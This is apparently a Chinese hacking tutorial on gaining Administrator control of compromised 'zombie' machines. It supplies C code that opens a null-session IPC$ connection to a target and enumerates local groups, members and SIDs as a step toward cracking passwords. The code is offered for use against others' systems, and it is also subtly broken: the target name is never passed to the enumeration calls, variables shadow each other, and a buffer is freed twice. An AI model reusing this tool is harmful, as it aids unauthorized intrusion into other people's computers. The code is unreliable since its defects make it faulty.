我們要取得肉雞的控制權(quán),首先必須有Administrator權(quán)限,獲得權(quán)限的途徑很多都是通過(guò)IPC$破解來(lái)獲得用戶(hù)密碼.
我們看一下代碼:
#include <windows.h>
#include <stdio.h>
#include <lm.h>
#pragma comment (lib, "Mpr.lib")
#pragma comment (lib, "Netapi32.lib")
void getuser(char *);
void main( int argc, char *argv[ ] )
{ //空用戶(hù)名和密碼
DWORD ret;
char username[100] = "", password[100] = "";
char server[100] = "", ipc[100] = "";
NETRESOURCE NET;
if (argc == 1)
{
exit(1);
}
strncpy(server,argv[1],100);
printf("server: %s\n", server);
sprintf(ipc,"\\\\%s\\ipc$",server);
NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;
printf("setting up session... ");
ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&username,0);
//建立空連接
if (ret != ERROR_SUCCESS)
{
printf("IPC$ connect fail.\n");
exit(1);
}
else
printf("IPC$ connect success.\n");
getuser((char*)&server);
printf("Disconnect Server... ");
ret = WNetCancelConnection2((char*)&ipc,0,TRUE); //斷開(kāi)IPC連接
if (ret != ERROR_SUCCESS)
{
printf("fail.\n");
exit(1);
}
else
printf("success.\n");
exit (0);
}
void getuser(char *server) //取得用戶(hù)的函數(shù)
{
DWORD ret, read, total, resume = 0;
int i;
LPVOID buff;
char comment[255];
wchar_t wserver[100];
do
{
ret = NetLocalGroupEnum(wserver, 1, (unsigned char **)&buff, MAX_PREFERRED_LENGTH, &read, &total, &resume);
if (ret != NERR_Success && ret != ERROR_MORE_DATA)
{
printf("fail\n");
break;
}
PLOCALGROUP_INFO_1 info = (PLOCALGROUP_INFO_1) buff;
for (i=0; i<read; i++)
{
printf("GROUP: %S\n",info[i].lgrpi1_name);
WideCharToMultiByte(CP_ACP, 0, info[i].lgrpi1_comment , -1, comment,255,NULL,NULL);
printf("\tCOMMENT: %s\n",comment);
DWORD ret, read, total, resume = 0;
ret = NetLocalGroupGetMembers((const unsigned short*)&wserver, info[i].lgrpi1_name, 2, (unsigned char **)&buff, 1024, &read, &total, &resume);
if (ret != NERR_Success && ret != ERROR_MORE_DATA)
{
printf("fail\n");
break;
}
PLOCALGROUP_MEMBERS_INFO_2 info = (PLOCALGROUP_MEMBERS_INFO_2) buff;
for (unsigned i=0; i<read; i++)
{
printf("\t\t%S\n", info[i].lgrmi2_domainandname);
printf("\t\t\tSID:%d\n", info[i].lgrmi2_sid);
printf("\t\t\tSIDUSAGE:%d\n",info[i].lgrmi2_sidusage);
}
NetApiBufferFree (buff);
}
NetApiBufferFree (buff);
}
while (ret == ERROR_MORE_DATA );
}
